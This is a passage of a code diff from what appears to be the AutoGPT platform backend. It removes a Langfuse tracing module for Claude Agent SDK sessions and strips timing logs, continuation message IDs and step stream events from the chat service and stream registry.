-        async for sdk_msg in client.receive_messages():
-            tracer.log_sdk_message(sdk_msg)
-        tracer.log_result(result_message)
-"""
-
-from __future__ import annotations
-
-import logging
-import time
-from contextlib import asynccontextmanager
-from dataclasses import dataclass, field
-from typing import TYPE_CHECKING, Any
-
-from backend.util.settings import Settings
-
-if TYPE_CHECKING:
-    from claude_agent_sdk import Message, ResultMessage
-
-logger = logging.getLogger(__name__)
-settings = Settings()
-
-
-def _is_langfuse_configured() -> bool:
-    """Check if Langfuse credentials are configured."""
-    return bool(
-        settings.secrets.langfuse_public_key and settings.secrets.langfuse_secret_key
-    )
-
-
-@dataclass
-class ToolSpan:
-    """Tracks a single tool call for tracing."""
-
-    tool_call_id: str
-    tool_name: str
-    input: dict[str, Any]
-    start_time: float = field(default_factory=time.perf_counter)
-    output: str | None = None
-    success: bool = True
-    end_time: float | None = None
-
-
-@dataclass
-class GenerationSpan:
-    """Tracks an LLM generation (text output) for tracing."""
-
-    text: str = ""
-    start_time: float = field(default_factory=time.perf_counter)
-    end_time: float | None = None
-    tool_calls: list[ToolSpan] = field(default_factory=list)
-
-
-class TracedSession:
-    """Context manager for tracing a Claude Agent SDK session with Langfuse.
-
-    Automatically creates a trace with:
-    - Session-level metadata (user_id, session_id)
-    - Generation spans for LLM outputs
-    - Tool call spans with input/output
-    - Token usage and cost (from ResultMessage)
-
-    If Langfuse is not configured, all methods are no-ops.
-    """
-
-    def __init__(
-        self,
-        session_id: str,
-        user_id: str | None = None,
-        system_prompt: str | None = None,
-        model: str | None = None,
-    ):
-        self.session_id = session_id
-        self.user_id = user_id
-        self.system_prompt = system_prompt
-        self.model = model
-        self.enabled = _is_langfuse_configured()
-
-        # Internal state
-        self._trace: Any = None
-        self._langfuse: Any = None
-        self._user_message: str | None = None
-        self._generations: list[GenerationSpan] = []
-        self._current_generation: GenerationSpan | None = None
-        self._pending_tools: dict[str, ToolSpan] = {}
-        self._start_time: float = 0
-
-    async def __aenter__(self) -> TracedSession:
-        """Start the trace."""
-        if not self.enabled:
-            return self
-
-        try:
-            from langfuse import get_client
-
-            self._langfuse = get_client()
-            self._start_time = time.perf_counter()
-
-            # Create the root trace
-            self._trace = self._langfuse.trace(
-                name="copilot-sdk-session",
-                session_id=self.session_id,
-                user_id=self.user_id,
-                metadata={
-                    "sdk": "claude-agent-sdk",
-                    "has_system_prompt": bool(self.system_prompt),
-                },
-            )
-            logger.debug(f"[Tracing] Started trace for session {self.session_id}")
-
-        except Exception as e:
-            logger.warning(f"[Tracing] Failed to start trace: {e}")
-            self.enabled = False
-
-        return self
-
-    async def __aexit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None:
-        """End the trace and flush to Langfuse."""
-        if not self.enabled or not self._trace:
-            return
-
-        try:
-            # Finalize any open generation
-            self._finalize_current_generation()
-
-            # Add generations as spans
-            for gen in self._generations:
-                self._trace.span(
-                    name="llm-generation",
-                    start_time=gen.start_time,
-                    end_time=gen.end_time or time.perf_counter(),
-                    output=gen.text[:1000] if gen.text else None,  # Truncate
-                    metadata={"tool_calls": len(gen.tool_calls)},
-                )
-
-                # Add tool calls as nested spans
-                for tool in gen.tool_calls:
-                    self._trace.span(
-                        name=f"tool:{tool.tool_name}",
-                        start_time=tool.start_time,
-                        end_time=tool.end_time or time.perf_counter(),
-                        input=tool.input,
-                        output=tool.output[:500] if tool.output else None,
-                        metadata={
-                            "tool_call_id": tool.tool_call_id,
-                            "success": tool.success,
-                        },
-                    )
-
-            # Update trace with final status
-            status = "error" if exc_type else "success"
-            self._trace.update(
-                output=self._generations[-1].text[:500] if self._generations else None,
-                metadata={"status": status, "num_generations": len(self._generations)},
-            )
-
-            # Flush asynchronously (Langfuse handles this in background)
-            logger.debug(
-                f"[Tracing] Completed trace for session {self.session_id}, "
-                f"{len(self._generations)} generations"
-            )
-
-        except Exception as e:
-            logger.warning(f"[Tracing] Failed to finalize trace: {e}")
-
-    def log_user_message(self, message: str) -> None:
-        """Log the user's input message."""
-        if not self.enabled or not self._trace:
-            return
-
-        self._user_message = message
-        try:
-            self._trace.update(input=message[:1000])
-        except Exception as e:
-            logger.debug(f"[Tracing] Failed to log user message: {e}")
-
-    def log_sdk_message(self, sdk_message: Message) -> None:
-        """Log an SDK message (automatically categorizes by type)."""
-        if not self.enabled:
-            return
-
-        try:
-            from claude_agent_sdk import (
-                AssistantMessage,
-                ResultMessage,
-                TextBlock,
-                ToolResultBlock,
-                ToolUseBlock,
-                UserMessage,
-            )
-
-            if isinstance(sdk_message, AssistantMessage):
-                # Start a new generation if needed
-                if self._current_generation is None:
-                    self._current_generation = GenerationSpan()
-                    self._generations.append(self._current_generation)
-
-                for block in sdk_message.content:
-                    if isinstance(block, TextBlock) and block.text:
-                        self._current_generation.text += block.text
-
-                    elif isinstance(block, ToolUseBlock):
-                        tool_span = ToolSpan(
-                            tool_call_id=block.id,
-                            tool_name=block.name,
-                            input=block.input or {},
-                        )
-                        self._pending_tools[block.id] = tool_span
-                        if self._current_generation:
-                            self._current_generation.tool_calls.append(tool_span)
-
-            elif isinstance(sdk_message, UserMessage):
-                # UserMessage carries tool results
-                content = sdk_message.content
-                blocks = content if isinstance(content, list) else []
-                for block in blocks:
-                    if isinstance(block, ToolResultBlock) and block.tool_use_id:
-                        tool_span = self._pending_tools.get(block.tool_use_id)
-                        if tool_span:
-                            tool_span.end_time = time.perf_counter()
-                            tool_span.success = not (block.is_error or False)
-                            tool_span.output = self._extract_tool_output(block.content)
-
-                # After tool results, finalize current generation
-                # (SDK will start a new AssistantMessage for continuation)
-                self._finalize_current_generation()
-
-            elif isinstance(sdk_message, ResultMessage):
-                self._log_result(sdk_message)
-
-        except Exception as e:
-            logger.debug(f"[Tracing] Failed to log SDK message: {e}")
-
-    def _log_result(self, result: ResultMessage) -> None:
-        """Log the final result with usage and cost."""
-        if not self.enabled or not self._trace:
-            return
-
-        try:
-            # Extract usage info
-            usage = result.usage or {}
-            metadata: dict[str, Any] = {
-                "duration_ms": result.duration_ms,
-                "duration_api_ms": result.duration_api_ms,
-                "num_turns": result.num_turns,
-                "is_error": result.is_error,
-            }
-
-            if result.total_cost_usd is not None:
-                metadata["cost_usd"] = result.total_cost_usd
-
-            if usage:
-                metadata["usage"] = usage
-
-            self._trace.update(metadata=metadata)
-
-            # Log as a generation for proper Langfuse cost/usage tracking
-            if usage or result.total_cost_usd:
-                self._trace.generation(
-                    name="claude-sdk-completion",
-                    model=self.model or "claude-sonnet-4-20250514",
-                    usage=(
-                        {
-                            "input": usage.get("input_tokens", 0),
-                            "output": usage.get("output_tokens", 0),
-                            "total": usage.get("input_tokens", 0)
-                            + usage.get("output_tokens", 0),
-                        }
-                        if usage
-                        else None
-                    ),
-                    metadata={"cost_usd": result.total_cost_usd},
-                )
-
-            logger.debug(
-                f"[Tracing] Logged result: {result.num_turns} turns, "
-                f"${result.total_cost_usd:.4f} cost"
-                if result.total_cost_usd
-                else f"[Tracing] Logged result: {result.num_turns} turns"
-            )
-
-        except Exception as e:
-            logger.debug(f"[Tracing] Failed to log result: {e}")
-
-    def _finalize_current_generation(self) -> None:
-        """Mark the current generation as complete."""
-        if self._current_generation:
-            self._current_generation.end_time = time.perf_counter()
-            self._current_generation = None
-
-    @staticmethod
-    def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
-        """Extract string output from tool result content."""
-        if isinstance(content, str):
-            return content
-        if isinstance(content, list):
-            parts = [
-                item.get("text", "") for item in content if item.get("type") == "text"
-            ]
-            return "".join(parts) if parts else str(content)
-        return str(content) if content else ""
-
-
-@asynccontextmanager
-async def traced_session(
-    session_id: str,
-    user_id: str | None = None,
-    system_prompt: str | None = None,
-    model: str | None = None,
-):
-    """Convenience async context manager for tracing SDK sessions.
-
-    Usage:
-        async with traced_session(session_id, user_id) as tracer:
-            tracer.log_user_message(message)
-            async for msg in client.receive_messages():
-                tracer.log_sdk_message(msg)
-    """
-    tracer = TracedSession(session_id, user_id, system_prompt, model=model)
-    async with tracer:
-        yield tracer
-
-
-def create_tracing_hooks(tracer: TracedSession) -> dict[str, Any]:
-    """Create SDK hooks for fine-grained Langfuse tracing.
-
-    These hooks capture precise timing for tool executions and failures
-    that may not be visible in the message stream.
-
-    Designed to be merged with security hooks:
-        hooks = {**security_hooks, **create_tracing_hooks(tracer)}
-
-    Args:
-        tracer: The active TracedSession instance
-
-    Returns:
-        Hooks configuration dict for ClaudeAgentOptions
-    """
-    if not tracer.enabled:
-        return {}
-
-    try:
-        from claude_agent_sdk import HookMatcher
-        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
-
-        async def trace_pre_tool_use(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Record tool start time for accurate duration tracking."""
-            _ = context
-            if not tool_use_id:
-                return {}
-            tool_name = str(input_data.get("tool_name", "unknown"))
-            tool_input = input_data.get("tool_input", {})
-
-            # Record start time in pending tools
-            tracer._pending_tools[tool_use_id] = ToolSpan(
-                tool_call_id=tool_use_id,
-                tool_name=tool_name,
-                input=tool_input if isinstance(tool_input, dict) else {},
-            )
-            return {}
-
-        async def trace_post_tool_use(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Record tool completion for duration calculation."""
-            _ = context
-            if tool_use_id and tool_use_id in tracer._pending_tools:
-                tracer._pending_tools[tool_use_id].end_time = time.perf_counter()
-                tracer._pending_tools[tool_use_id].success = True
-            return {}
-
-        async def trace_post_tool_failure(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Record tool failures for error tracking."""
-            _ = context
-            if tool_use_id and tool_use_id in tracer._pending_tools:
-                tracer._pending_tools[tool_use_id].end_time = time.perf_counter()
-                tracer._pending_tools[tool_use_id].success = False
-                error = input_data.get("error", "Unknown error")
-                tracer._pending_tools[tool_use_id].output = f"ERROR: {error}"
-            return {}
-
-        return {
-            "PreToolUse": [HookMatcher(matcher="*", hooks=[trace_pre_tool_use])],
-            "PostToolUse": [HookMatcher(matcher="*", hooks=[trace_post_tool_use])],
-            "PostToolUseFailure": [
-                HookMatcher(matcher="*", hooks=[trace_post_tool_failure])
-            ],
-        }
-
-    except ImportError:
-        logger.debug("[Tracing] SDK not available for hook-based tracing")
-        return {}
-
-
-def merge_hooks(*hook_dicts: dict[str, Any]) -> dict[str, Any]:
-    """Merge multiple hook configurations into one.
-
-    Combines hook matchers for the same event type, allowing both
-    security and tracing hooks to coexist.
-
-    Usage:
-        combined = merge_hooks(security_hooks, tracing_hooks)
-    """
-    result: dict[str, list[Any]] = {}
-    for hook_dict in hook_dicts:
-        for event_name, matchers in hook_dict.items():
-            if event_name not in result:
-                result[event_name] = []
-            result[event_name].extend(matchers)
-    return result

autogpt_platform/backend/backend/api/features/chat/service.py

@@ -52,10 +52,8 @@ from .response_model import (
     StreamBaseResponse,
     StreamError,
     StreamFinish,
-    StreamFinishStep,
     StreamHeartbeat,
     StreamStart,
-    StreamStartStep,
     StreamTextDelta,
     StreamTextEnd,
     StreamTextStart,
@@ -245,16 +243,12 @@ async def _get_system_prompt_template(context: str) -> str:
     return DEFAULT_SYSTEM_PROMPT.format(users_information=context)
 
 
-async def _build_system_prompt(
-    user_id: str | None, has_conversation_history: bool = False
-) -> tuple[str, Any]:
+async def _build_system_prompt(user_id: str | None) -> tuple[str, Any]:
     """Build the full system prompt including business understanding if available.
 
     Args:
-        user_id: The user ID for fetching business understanding.
-        has_conversation_history: Whether there's existing conversation history.
-            If True, we don't tell the model to greet/introduce (since they're
-            already in a conversation).
+        user_id: The user ID for fetching business understanding
+                     If "default" and this is the user's first session, will use "onboarding" instead.
 
     Returns:
         Tuple of (compiled prompt string, business understanding object)
@@ -270,8 +264,6 @@ async def _build_system_prompt(
 
     if understanding:
         context = format_understanding_for_prompt(understanding)
-    elif has_conversation_history:
-        context = "No prior understanding saved yet. Continue the existing conversation naturally."
     else:
         context = "This is the first time you are meeting the user. Greet them and introduce them to the platform"
 
@@ -359,10 +351,6 @@ async def stream_chat_completion(
     retry_count: int = 0,
     session: ChatSession | None = None,
     context: dict[str, str] | None = None,  # {url: str, content: str}
-    _continuation_message_id: (
-        str | None
-    ) = None,  # Internal: reuse message ID for tool call continuations
-    _task_id: str | None = None,  # Internal: task ID for SSE reconnection support
 ) -> AsyncGenerator[StreamBaseResponse, None]:
     """Main entry point for streaming chat completions with database handling.
 
@@ -380,47 +368,24 @@ async def stream_chat_completion(
 
     Raises:
         NotFoundError: If session_id is invalid
+        ValueError: If max_context_messages is exceeded
 
     """
-    completion_start = time.monotonic()
-
-    # Build log metadata for structured logging
-    log_meta = {"component": "ChatService", "session_id": session_id}
-    if user_id:
-        log_meta["user_id"] = user_id
-
     logger.info(
-        f"[TIMING] stream_chat_completion STARTED, session={session_id}, user={user_id}, "
-        f"message_len={len(message) if message else 0}, is_user={is_user_message}",
-        extra={
-            "json_fields": {
-                **log_meta,
-                "message_len": len(message) if message else 0,
-                "is_user_message": is_user_message,
-            }
-        },
+        f"Streaming chat completion for session {session_id} for message {message} and user id {user_id}. Message is user message: {is_user_message}"
     )
 
     # Only fetch from Redis if session not provided (initial call)
     if session is None:
-        fetch_start = time.monotonic()
         session = await get_chat_session(session_id, user_id)
-        fetch_time = (time.monotonic() - fetch_start) * 1000
         logger.info(
-            f"[TIMING] get_chat_session took {fetch_time:.1f}ms, "
-            f"n_messages={len(session.messages) if session else 0}",
-            extra={
-                "json_fields": {
-                    **log_meta,
-                    "duration_ms": fetch_time,
-                    "n_messages": len(session.messages) if session else 0,
-                }
-            },
+            f"Fetched session from Redis: {session.session_id if session else 'None'}, "
+            f"message_count={len(session.messages) if session else 0}"
         )
     else:
         logger.info(
-            f"[TIMING] Using provided session, messages={len(session.messages)}",
-            extra={"json_fields": {**log_meta, "n_messages": len(session.messages)}},
+            f"Using provided session object: {session.session_id}, "
+            f"message_count={len(session.messages)}"
         )
 
     if not session:
@@ -441,32 +406,23 @@ async def stream_chat_completion(
 
         # Track user message in PostHog
         if is_user_message:
-            posthog_start = time.monotonic()
             track_user_message(
                 user_id=user_id,
                 session_id=session_id,
                 message_length=len(message),
             )
-            posthog_time = (time.monotonic() - posthog_start) * 1000
-            logger.info(
-                f"[TIMING] track_user_message took {posthog_time:.1f}ms",
-                extra={"json_fields": {**log_meta, "duration_ms": posthog_time}},
-            )
 
-    upsert_start = time.monotonic()
-    session = await upsert_chat_session(session)
-    upsert_time = (time.monotonic() - upsert_start) * 1000
     logger.info(
-        f"[TIMING] upsert_chat_session took {upsert_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "duration_ms": upsert_time}},
+        f"Upserting session: {session.session_id} with user id {session.user_id}, "
+        f"message_count={len(session.messages)}"
     )
+    session = await upsert_chat_session(session)
     assert session, "Session not found"
 
     # Generate title for new sessions on first user message (non-blocking)
     # Check: is_user_message, no title yet, and this is the first user message
-    user_messages = [m for m in session.messages if m.role == "user"]
-    first_user_msg = message or (user_messages[0].content if user_messages else None)
-    if is_user_message and first_user_msg and not session.title:
+    if is_user_message and message and not session.title:
+        user_messages = [m for m in session.messages if m.role == "user"]
         if len(user_messages) == 1:
             # First user message - generate title in background
             import asyncio
@@ -474,7 +430,7 @@ async def stream_chat_completion(
             # Capture only the values we need (not the session object) to avoid
             # stale data issues when the main flow modifies the session
             captured_session_id = session_id
-            captured_message = first_user_msg
+            captured_message = message
             captured_user_id = user_id
 
             async def _update_title():
@@ -498,13 +454,7 @@ async def stream_chat_completion(
             asyncio.create_task(_update_title())
 
     # Build system prompt with business understanding
-    prompt_start = time.monotonic()
     system_prompt, understanding = await _build_system_prompt(user_id)
-    prompt_time = (time.monotonic() - prompt_start) * 1000
-    logger.info(
-        f"[TIMING] _build_system_prompt took {prompt_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "duration_ms": prompt_time}},
-    )
 
     # Initialize variables for streaming
     assistant_response = ChatMessage(
@@ -529,27 +479,13 @@ async def stream_chat_completion(
     # Generate unique IDs for AI SDK protocol
     import uuid as uuid_module
 
-    is_continuation = _continuation_message_id is not None
-    message_id = _continuation_message_id or str(uuid_module.uuid4())
+    message_id = str(uuid_module.uuid4())
     text_block_id = str(uuid_module.uuid4())
 
-    # Only yield message start for the initial call, not for continuations.
-    setup_time = (time.monotonic() - completion_start) * 1000
-    logger.info(
-        f"[TIMING] Setup complete, yielding StreamStart at {setup_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "setup_time_ms": setup_time}},
-    )
-    if not is_continuation:
-        yield StreamStart(messageId=message_id, taskId=_task_id)
-
-    # Emit start-step before each LLM call (AI SDK uses this to add step boundaries)
-    yield StreamStartStep()
+    # Yield message start
+    yield StreamStart(messageId=message_id)
 
     try:
-        logger.info(
-            "[TIMING] Calling _stream_chat_chunks",
-            extra={"json_fields": log_meta},
-        )
         async for chunk in _stream_chat_chunks(
             session=session,
             tools=tools,
@@ -649,10 +585,6 @@ async def stream_chat_completion(
                     )
                 yield chunk
             elif isinstance(chunk, StreamFinish):
-                if has_done_tool_call:
-                    # Tool calls happened — close the step but don't send message-level finish.
-                    # The continuation will open a new step, and finish will come at the end.
-                    yield StreamFinishStep()
                 if not has_done_tool_call:
                     # Emit text-end before finish if we received text but haven't closed it
                     if has_received_text and not text_streaming_ended:
@@ -684,8 +616,6 @@ async def stream_chat_completion(
                             has_saved_assistant_message = True
 
                     has_yielded_end = True
-                    # Emit finish-step before finish (resets AI SDK text/reasoning state)
-                    yield StreamFinishStep()
                     yield chunk
             elif isinstance(chunk, StreamError):
                 has_yielded_error = True
@@ -735,10 +665,6 @@ async def stream_chat_completion(
             logger.info(
                 f"Retryable error encountered. Attempt {retry_count + 1}/{config.max_retries}"
             )
-            # Close the current step before retrying so the recursive call's
-            # StreamStartStep doesn't produce unbalanced step events.
-            if not has_yielded_end:
-                yield StreamFinishStep()
             should_retry = True
         else:
             # Non-retryable error or max retries exceeded
@@ -774,7 +700,6 @@ async def stream_chat_completion(
                 error_response = StreamError(errorText=error_message)
                 yield error_response
             if not has_yielded_end:
-                yield StreamFinishStep()
                 yield StreamFinish()
             return
 
@@ -789,8 +714,6 @@ async def stream_chat_completion(
             retry_count=retry_count + 1,
             session=session,
             context=context,
-            _continuation_message_id=message_id,  # Reuse message ID since start was already sent
-            _task_id=_task_id,
         ):
             yield chunk
         return  # Exit after retry to avoid double-saving in finally block
@@ -860,8 +783,6 @@ async def stream_chat_completion(
             session=session,  # Pass session object to avoid Redis refetch
             context=context,
             tool_call_response=str(tool_response_messages),
-            _continuation_message_id=message_id,  # Reuse message ID to avoid duplicates
-            _task_id=_task_id,
         ):
             yield chunk
 
@@ -972,21 +893,9 @@ async def _stream_chat_chunks(
         SSE formatted JSON response objects
 
     """
-    import time as time_module
-
-    stream_chunks_start = time_module.perf_counter()
     model = config.model
 
-    # Build log metadata for structured logging
-    log_meta = {"component": "ChatService", "session_id": session.session_id}
-    if session.user_id:
-        log_meta["user_id"] = session.user_id
-
-    logger.info(
-        f"[TIMING] _stream_chat_chunks STARTED, session={session.session_id}, "
-        f"user={session.user_id}, n_messages={len(session.messages)}",
-        extra={"json_fields": {**log_meta, "n_messages": len(session.messages)}},
-    )
+    logger.info("Starting pure chat stream")
 
     messages = session.to_openai_messages()
     if system_prompt:
@@ -997,18 +906,12 @@ async def _stream_chat_chunks(
         messages = [system_message] + messages
 
     # Apply context window management
-    context_start = time_module.perf_counter()
     context_result = await _manage_context_window(
         messages=messages,
         model=model,
         api_key=config.api_key,
         base_url=config.base_url,
     )
-    context_time = (time_module.perf_counter() - context_start) * 1000
-    logger.info(
-        f"[TIMING] _manage_context_window took {context_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "duration_ms": context_time}},
-    )
 
     if context_result.error:
         if "System prompt dropped" in context_result.error:
@@ -1043,19 +946,9 @@ async def _stream_chat_chunks(
 
         while retry_count <= MAX_RETRIES:
             try:
-                elapsed = (time_module.perf_counter() - stream_chunks_start) * 1000
-                retry_info = (
-                    f" (retry {retry_count}/{MAX_RETRIES})" if retry_count > 0 else ""
-                )
                 logger.info(
-                    f"[TIMING] Creating OpenAI stream at {elapsed:.1f}ms{retry_info}",
-                    extra={
-                        "json_fields": {
-                            **log_meta,
-                            "elapsed_ms": elapsed,
-                            "retry_count": retry_count,
-                        }
-                    },
+                    f"Creating OpenAI chat completion stream..."
+                    f"{f' (retry {retry_count}/{MAX_RETRIES})' if retry_count > 0 else ''}"
                 )
 
                 # Build extra_body for OpenRouter tracing and PostHog analytics
@@ -1072,11 +965,6 @@ async def _stream_chat_chunks(
                         :128
                     ]  # OpenRouter limit
 
-                # Enable adaptive thinking for Anthropic models via OpenRouter
-                if config.thinking_enabled and "anthropic" in model.lower():
-                    extra_body["reasoning"] = {"enabled": True}
-
-                api_call_start = time_module.perf_counter()
                 stream = await client.chat.completions.create(
                     model=model,
                     messages=cast(list[ChatCompletionMessageParam], messages),
@@ -1086,11 +974,6 @@ async def _stream_chat_chunks(
                     stream_options=ChatCompletionStreamOptionsParam(include_usage=True),
                     extra_body=extra_body,
                 )
-                api_init_time = (time_module.perf_counter() - api_call_start) * 1000
-                logger.info(
-                    f"[TIMING] OpenAI stream object returned in {api_init_time:.1f}ms",
-                    extra={"json_fields": {**log_meta, "duration_ms": api_init_time}},
-                )
 
                 # Variables to accumulate tool calls
                 tool_calls: list[dict[str, Any]] = []
@@ -1101,13 +984,10 @@ async def _stream_chat_chunks(
 
                 # Track if we've started the text block
                 text_started = False
-                first_content_chunk = True
-                chunk_count = 0
 
                 # Process the stream
                 chunk: ChatCompletionChunk
                 async for chunk in stream:
-                    chunk_count += 1
                     if chunk.usage:
                         yield StreamUsage(
                             promptTokens=chunk.usage.prompt_tokens,
@@ -1130,23 +1010,6 @@ async def _stream_chat_chunks(
                             if not text_started and text_block_id:
                                 yield StreamTextStart(id=text_block_id)
                                 text_started = True
-                            # Log timing for first content chunk
-                            if first_content_chunk:
-                                first_content_chunk = False
-                                ttfc = (
-                                    time_module.perf_counter() - api_call_start
-                                ) * 1000
-                                logger.info(
-                                    f"[TIMING] FIRST CONTENT CHUNK at {ttfc:.1f}ms "
-                                    f"(since API call), n_chunks={chunk_count}",
-                                    extra={
-                                        "json_fields": {
-                                            **log_meta,
-                                            "time_to_first_chunk_ms": ttfc,
-                                            "n_chunks": chunk_count,
-                                        }
-                                    },
-                                )
                             # Stream the text delta
                             text_response = StreamTextDelta(
                                 id=text_block_id or "",
@@ -1203,21 +1066,7 @@ async def _stream_chat_chunks(
                                         toolName=tool_calls[idx]["function"]["name"],
                                     )
                                     emitted_start_for_idx.add(idx)
-                stream_duration = time_module.perf_counter() - api_call_start
-                logger.info(
-                    f"[TIMING] OpenAI stream COMPLETE, finish_reason={finish_reason}, "
-                    f"duration={stream_duration:.2f}s, "
-                    f"n_chunks={chunk_count}, n_tool_calls={len(tool_calls)}",
-                    extra={
-                        "json_fields": {
-                            **log_meta,
-                            "stream_duration_ms": stream_duration * 1000,
-                            "finish_reason": finish_reason,
-                            "n_chunks": chunk_count,
-                            "n_tool_calls": len(tool_calls),
-                        }
-                    },
-                )
+                logger.info(f"Stream complete. Finish reason: {finish_reason}")
 
                 # Yield all accumulated tool calls after the stream is complete
                 # This ensures all tool call arguments have been fully received
@@ -1237,12 +1086,6 @@ async def _stream_chat_chunks(
                         # Re-raise to trigger retry logic in the parent function
                         raise
 
-                total_time = (time_module.perf_counter() - stream_chunks_start) * 1000
-                logger.info(
-                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time / 1000:.1f}s; "
-                    f"session={session.session_id}, user={session.user_id}",
-                    extra={"json_fields": {**log_meta, "total_time_ms": total_time}},
-                )
                 yield StreamFinish()
                 return
             except Exception as e:
@@ -1722,7 +1565,6 @@ async def _execute_long_running_tool_with_streaming(
             task_id,
             StreamError(errorText=str(e)),
         )
-        await stream_registry.publish_chunk(task_id, StreamFinishStep())
         await stream_registry.publish_chunk(task_id, StreamFinish())
 
         await _update_pending_operation(
@@ -1839,10 +1681,6 @@ async def _generate_llm_continuation(
         if session_id:
             extra_body["session_id"] = session_id[:128]
 
-        # Enable adaptive thinking for Anthropic models via OpenRouter
-        if config.thinking_enabled and "anthropic" in config.model.lower():
-            extra_body["reasoning"] = {"enabled": True}
-
         retry_count = 0
         last_error: Exception | None = None
         response = None
@@ -1973,10 +1811,6 @@ async def _generate_llm_continuation_with_streaming(
         if session_id:
             extra_body["session_id"] = session_id[:128]
 
-        # Enable adaptive thinking for Anthropic models via OpenRouter
-        if config.thinking_enabled and "anthropic" in config.model.lower():
-            extra_body["reasoning"] = {"enabled": True}
-
         # Make streaming LLM call (no tools - just text response)
         from typing import cast
 
@@ -1988,7 +1822,6 @@ async def _generate_llm_continuation_with_streaming(
 
         # Publish start event
         await stream_registry.publish_chunk(task_id, StreamStart(messageId=message_id))
-        await stream_registry.publish_chunk(task_id, StreamStartStep())
         await stream_registry.publish_chunk(task_id, StreamTextStart(id=text_block_id))
 
         # Stream the response
@@ -2012,7 +1845,6 @@ async def _generate_llm_continuation_with_streaming(
 
         # Publish end events
         await stream_registry.publish_chunk(task_id, StreamTextEnd(id=text_block_id))
-        await stream_registry.publish_chunk(task_id, StreamFinishStep())
 
         if assistant_content:
             # Reload session from DB to avoid race condition with user messages
@@ -2054,5 +1886,4 @@ async def _generate_llm_continuation_with_streaming(
             task_id,
             StreamError(errorText=f"Failed to generate response: {e}"),
         )
-        await stream_registry.publish_chunk(task_id, StreamFinishStep())
         await stream_registry.publish_chunk(task_id, StreamFinish())

autogpt_platform/backend/backend/api/features/chat/stream_registry.py

@@ -104,24 +104,6 @@ async def create_task(
     Returns:
         The created ActiveTask instance (metadata only)
     """
-    import time
-
-    start_time = time.perf_counter()
-
-    # Build log metadata for structured logging
-    log_meta = {
-        "component": "StreamRegistry",
-        "task_id": task_id,
-        "session_id": session_id,
-    }
-    if user_id:
-        log_meta["user_id"] = user_id
-
-    logger.info(
-        f"[TIMING] create_task STARTED, task={task_id}, session={session_id}, user={user_id}",
-        extra={"json_fields": log_meta},
-    )
-
     task = ActiveTask(
         task_id=task_id,
         session_id=session_id,
@@ -132,18 +114,10 @@ async def create_task(
     )
 
     # Store metadata in Redis
-    redis_start = time.perf_counter()
     redis = await get_redis_async()
-    redis_time = (time.perf_counter() - redis_start) * 1000
-    logger.info(
-        f"[TIMING] get_redis_async took {redis_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "duration_ms": redis_time}},
-    )
-
     meta_key = _get_task_meta_key(task_id)
     op_key = _get_operation_mapping_key(operation_id)
 
-    hset_start = time.perf_counter()
     await redis.hset(  # type: ignore[misc]
         meta_key,
         mapping={
@@ -157,22 +131,12 @@ async def create_task(
             "created_at": task.created_at.isoformat(),
         },
     )
-    hset_time = (time.perf_counter() - hset_start) * 1000
-    logger.info(
-        f"[TIMING] redis.hset took {hset_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "duration_ms": hset_time}},
-    )
-
     await redis.expire(meta_key, config.stream_ttl)
 
     # Create operation_id -> task_id mapping for webhook lookups
     await redis.set(op_key, task_id, ex=config.stream_ttl)
 
-    total_time = (time.perf_counter() - start_time) * 1000
-    logger.info(
-        f"[TIMING] create_task COMPLETED in {total_time:.1f}ms; task={task_id}, session={session_id}",
-        extra={"json_fields": {**log_meta, "total_time_ms": total_time}},
-    )
+    logger.debug(f"Created task {task_id} for session {session_id}")
 
     return task
 
@@ -192,60 +156,26 @@ async def publish_chunk(
     Returns:
         The Redis Stream message ID
     """
-    import time
-
-    start_time = time.perf_counter()
-    chunk_type = type(chunk).__name__
     chunk_json = chunk.model_dump_json()
     message_id = "0-0"
 
-    # Build log metadata
-    log_meta = {
-        "component": "StreamRegistry",
-        "task_id": task_id,
-        "chunk_type": chunk_type,
-    }
-
     try:
         redis = await get_redis_async()
         stream_key = _get_task_stream_key(task_id)
 
         # Write to Redis Stream for persistence and real-time delivery
-        xadd_start = time.perf_counter()
         raw_id = await redis.xadd(
             stream_key,
             {"data": chunk_json},
             maxlen=config.stream_max_length,
         )
-        xadd_time = (time.perf_counter() - xadd_start) * 1000
         message_id = raw_id if isinstance(raw_id, str) else raw_id.decode()
 
         # Set TTL on stream to match task metadata TTL
         await redis.expire(stream_key, config.stream_ttl)
-
-        total_time = (time.perf_counter() - start_time) * 1000
-        # Only log timing for significant chunks or slow operations
-        if (
-            chunk_type
-            in ("StreamStart", "StreamFinish", "StreamTextStart", "StreamTextEnd")
-            or total_time > 50
-        ):
-            logger.info(
-                f"[TIMING] publish_chunk {chunk_type} in {total_time:.1f}ms (xadd={xadd_time:.1f}ms)",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "total_time_ms": total_time,
-                        "xadd_time_ms": xadd_time,
-                        "message_id": message_id,
-                    }
-                },
-            )
     except Exception as e:
-        elapsed = (time.perf_counter() - start_time) * 1000
         logger.error(
-            f"[TIMING] Failed to publish chunk {chunk_type} after {elapsed:.1f}ms: {e}",
-            extra={"json_fields": {**log_meta, "elapsed_ms": elapsed, "error": str(e)}},
+            f"Failed to publish chunk for task {task_id}: {e}",
             exc_info=True,
         )
 
@@ -270,61 +200,24 @@ async def subscribe_to_task(
         An asyncio Queue that will receive stream chunks, or None if task not found
         or user doesn't have access
     """
-    import time
-
-    start_time = time.perf_counter()
-
-    # Build log metadata
-    log_meta = {"component": "StreamRegistry", "task_id": task_id}
-    if user_id:
-        log_meta["user_id"] = user_id
-
-    logger.info(
-        f"[TIMING] subscribe_to_task STARTED, task={task_id}, user={user_id}, last_msg={last_message_id}",
-        extra={"json_fields": {**log_meta, "last_message_id": last_message_id}},
-    )
-
